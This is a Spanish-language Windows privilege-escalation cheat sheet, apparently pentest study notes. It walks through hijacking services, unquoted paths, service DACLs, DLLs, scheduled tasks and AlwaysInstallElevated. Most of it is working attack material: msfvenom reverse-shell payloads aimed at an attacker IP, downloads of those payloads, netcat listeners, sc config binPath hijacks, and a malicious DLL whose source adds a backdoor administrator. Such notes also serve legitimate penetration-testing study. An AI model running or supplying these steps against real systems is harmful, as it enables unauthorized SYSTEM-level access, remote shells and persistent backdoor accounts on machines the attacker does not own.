Explotación de Servicios, Tareas Programadas y MSI Elevation
Teoría: Servicios de Windows
Los servicios de Windows son administrados por el Service Control Manager (SCM).
Estructura de un Servicio
BINARY_PATH_NAME → El ejecutable que se ejecutará
SERVICE_START_NAME → Cuenta de usuario bajo la que corre
DACL → Permisos sobre quién puede controlarlo
START_TYPE → Cómo se inicia (Auto, Manual, Disabled)Ver configuración:
sc qc nombre_servicioEjemplo:
SERVICE_NAME: mysql
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
BINARY_PATH_NAME : C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe
SERVICE_START_NAME : .svcuserAlmacenamiento en Registro
HKLM\SYSTEM\CurrentControlSet\Services\<nombre_servicio>Valores:
- ImagePath → Binario del servicio
- ObjectName → Usuario que ejecuta
- Security → DACL (si existe)
Enumeración de Servicios
# Todos los servicios
Get-CimInstance -ClassName win32_service | Select Name, State, PathName, StartMode
# Servicios NO en C:\Windows\ (POTENCIALMENTE VULNERABLES)
Get-CimInstance -ClassName win32_service |
Where-Object {$_.PathName -notlike 'C:\Windows\*'} |
Select Name, PathName, StartName, State
# Servicios como SYSTEM o LocalService
Get-CimInstance -ClassName win32_service |
Where-Object {$_.StartName -like "*SYSTEM*" -or $_.StartName -like "*LocalService*"} |
Select Name, PathName, StartName
# Detalles específicos
sc qc mysql
sc query mysqlVector 1: Insecure Permissions on Service Executable
¿Cómo funciona? Si el binario del servicio tiene permisos débiles (Write para Users), reemplázalo con código malicioso. Cuando el servicio se reinicia, se ejecuta como SYSTEM.
Identificar Servicio Vulnerable
# Listar servicios no en Windows
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Ejemplo vulnerable:
# Splinterware C:\PROGRA~2\SYSTEM~1\WService.exe
# Verificar permisos del binario
icacls "C:\Program Files\Enterprise\WService.exe"
# Si ves "Everyone:(M)" o "(F)" o "(W)" = VULNERABLEExplotación Paso a Paso
1. Crear binario malicioso (reverse shell)
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe-service -o rev-svc.exe
# O generar usuario admin
# (compilar C code que ejecute net user newadmin Password123! /add)2. Transferir al objetivo
iwr -uri http://192.168.1.100/rev-svc.exe -OutFile rev-svc.exe3. Reemplazar binario del servicio
# Respaldar original
cd "C:\Program Files\Enterprise"
move WService.exe WService.exe.bak
# Copiar malicioso
move C:\Users\usuario\rev-svc.exe WService.exe
# Dar permisos completos
icacls WService.exe /grant Everyone:F4. Listener en Kali
nc -lvp 44455. Reiniciar servicio
sc stop Splinterware
sc start Splinterware
# O si no puedes:
shutdown /r /t 06. Recibir shell
Listening on 0.0.0.0 4445
Connection received from 192.168.1.100 50649
C:\Windows\system32>whoami
dominio\svcuserVector 2: Unquoted Service Paths
¿Cómo funciona? Si la ruta tiene espacios y NO está entrecomillada, Windows intenta ejecutar múltiples archivos.
Ruta: C:\Program Files\Enterprise Apps\Current Version\Service.exe
Windows intenta:
1. C:\Program.exe
2. C:\Program Files\Enterprise.exe
3. C:\Program Files\Enterprise Apps\Current.exe ← AQUÍ INYECTAMOS
4. C:\Program Files\Enterprise Apps\Current Version\Service.exeIdentificar
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Ver sin comillas y con espacios
# disksorter C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exeVerificar Permisos en Directorio
icacls C:\MyPrograms
# Si ves: Users:(I)(AD)(WD) = Puedes crear archivosExplotación
1. Crear binario malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f exe-service -o rev-svc2.exe2. Colocar en ruta que se busca
# Mover a C:\MyPrograms\Disk.exe (se busca antes que el real)
move rev-svc2.exe "C:\MyPrograms\Disk.exe"
# Dar permisos
icacls "C:\MyPrograms\Disk.exe" /grant Everyone:F3. Listener
nc -lvp 44464. Reiniciar servicio
sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"5. Recibir shell como svcuser2
whoami
dominio\svcuser2Vector 3: Insecure Service Permissions (DACL Débil)
¿Cómo funciona? Si el DACL del servicio (no el binario, sino el servicio en sí) permite a usuarios modificar la configuración, reconfigura el servicio para ejecutar cualquier binario como SYSTEM.
Verificar Permisos del Servicio
# Ver DACL del servicio
accesschk.exe -qlc NombreServicio
# Buscar: SERVICE_ALL_ACCESS en BUILTIN\Users o Everyone = VULNERABLEEjemplo vulnerable:
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS, SERVICE_QUERY_CONFIG, etc.
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS ← PROBLEMAExplotación
1. Crear binario malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4447 -f exe-service -o rev-svc3.exe2. Transferir
iwr -uri http://192.168.1.100/rev-svc3.exe -OutFile C:\Users\usuario\rev-svc3.exe
icacls "C:\Users\usuario\rev-svc3.exe" /grant Everyone:F3. Reconfigurar el servicio
# NOTA: Espacios después de = son IMPORTANTES
sc config NombreServicio binPath= "C:\Users\usuario\rev-svc3.exe" obj= LocalSystem
# LocalSystem = máximo privilegio4. Listener
nc -lvp 44475. Reiniciar
sc stop NombreServicio
sc start NombreServicio6. Recibir shell como SYSTEM
whoami
nt authority\systemVector 4: DLL Hijacking
¿Cómo funciona? Colocar DLL maliciosa en directorio de aplicación. Windows busca DLLs en orden específico.
Orden de búsqueda:
- Directorio de la aplicación (PRIORIDAD)
- Directorio actual
- C:\Windows\System32
- C:\Windows
- Directorios en PATH
Identificar DLL Faltante
Usar Process Monitor (GUI):
- Filtrar por el proceso
- Buscar "NAME NOT FOUND" con .dll
- Anotar qué DLL falta y dónde se busca
O línea de comandos:
dumpbin.exe /imports "C:\Program Files\App\app.exe" | findstr dll
strings "C:\Program Files\App\app.exe" | findstr \.dllCrear DLL Maliciosa
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch(ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user newadmin Password123! /add");
system("net localgroup administrators newadmin /add");
break;
}
return TRUE;
}Compilar:
x86_64-w64-mingw32-gcc malicious.cpp --shared -o malicious.dllExplotar
# Transferir
iwr -uri http://192.168.1.100/malicious.dll -OutFile malicious.dll
# Colocar en directorio de aplicación con nombre que falta
move malicious.dll "C:\Program Files\App\TextShaping.dll"
# Cuando alguien ejecute la aplicación:
# La DLL se carga como ese usuario (frecuentemente admin)
# Verificar
net user newadminEnumeración de Tareas Programadas
# Ver todas
schtasks /query /fo LIST /v
# PowerShell (mejor formato)
Get-ScheduledTask | Select-Object TaskName, State, Actions, Principal
# Tareas como SYSTEM o admin
Get-ScheduledTask |
Where-Object {$_.Principal.UserId -like "*SYSTEM*" -or $_.Principal.UserId -like "*admin*"} |
Select-Object TaskName, Actions, Principal, Triggers
# Detalles específicos
schtasks /query /tn "CacheCleanup" /fo list /v
# Buscar: "Task To Run" (binario), "Run As User" (usuario)Vector 5: Scheduled Tasks Hijacking
¿Cómo funciona? Si una tarea programada ejecuta un binario que puedes modificar y corre como admin/SYSTEM, reemplázalo.
Explotación
1. Identificar tarea
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User"
# Ejemplo:
# Task To Run: C:\Users\admin\Pictures\CacheCleanup.exe
# Run As User: admin2. Verificar permisos
icacls C:\Users\admin\Pictures\CacheCleanup.exe
# Si ves: Users:(F) o (W) = WRITABLE3. Crear malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f exe -o shell.exe4. Reemplazar
iwr -uri http://192.168.1.100/shell.exe -OutFile shell.exe
move shell.exe "C:\Users\admin\Pictures\CacheCleanup.exe"5. Listener
nc -lvp 44486. Esperar ejecución
Las tareas programadas se ejecutan automáticamente a su hora programada. Si la tarea corre cada minuto, espera ~60 segundos.
O fuerza ejecución:
schtasks /run /tn "CacheCleanup"7. Recibir shell como admin
whoami
dominio\adminVector 6: Always Install Elevated (MSI Exploitation)
Vulnerabilidad: Instaladores MSI se pueden ejecutar con privilegios elevados desde cualquier usuario.
Verificar si está vulnerable
# Necesitan AMBOS valores = 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
# O específicamente:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si ambas devuelven "0x1" = VULNERABLE
# Si devuelven "not found" = NO vulnerableExplotación
1. Crear MSI malicioso
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4449 -f msi -o malicious.msi2. Transferir
iwr -uri http://192.168.1.100/malicious.msi -OutFile malicious.msi3. Listener
nc -lvp 44494. Ejecutar instalador
# Sin UAC ni permisos requeridos
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
# Parámetros:
# /quiet = No mostrar interfaz
# /qn = Silencioso
# /i = Instalar
# O con logging
msiexec /i C:\Windows\Temp\malicious.msi /L* log.txt5. Recibir shell como SYSTEM
whoami
nt authority\systemVector 7: Búsqueda Automatizada con PowerUp.ps1
PowerUp automatiza la búsqueda de todos estos vectores.
# Descargar
iwr -uri http://192.168.1.100/PowerUp.ps1 -OutFile PowerUp.ps1
# Bypass
Set-ExecutionPolicy Bypass -Scope process -Force
powershell -ep bypass
# Importar
. .\PowerUp.ps1
# Buscar TODOS los vectores
Invoke-AllChecks
# O búsquedas específicas:
Get-ModifiableServiceFile # Servicios modificables
Get-UnquotedService # Rutas sin comillas
Find-PathHijack # DLLs hijackeables
Get-ScheduledTasksWithModifiableFile # Tareas hijackeablesResultado típico:
ServiceName : mysql
Path : C:\Program Files\MySQL\MySQL Server 8.0\bin\mysqld.exe
Modifiable : True
CanRestart : FalseManejo de Servicios
# Ver tipo de inicio
sc qc <service_name> | findstr START_TYPE
# 0 = Boot
# 1 = System
# 2 = Automatic (se inicia al bootear)
# 3 = Manual (no inicia automáticamente)
# 4 = Disabled
# Detener servicio
net stop <service_name>
Stop-Service <service_name>
# Iniciar
net start <service_name>
Start-Service <service_name>
# Estado
Get-Service <service_name>
sc query <service_name>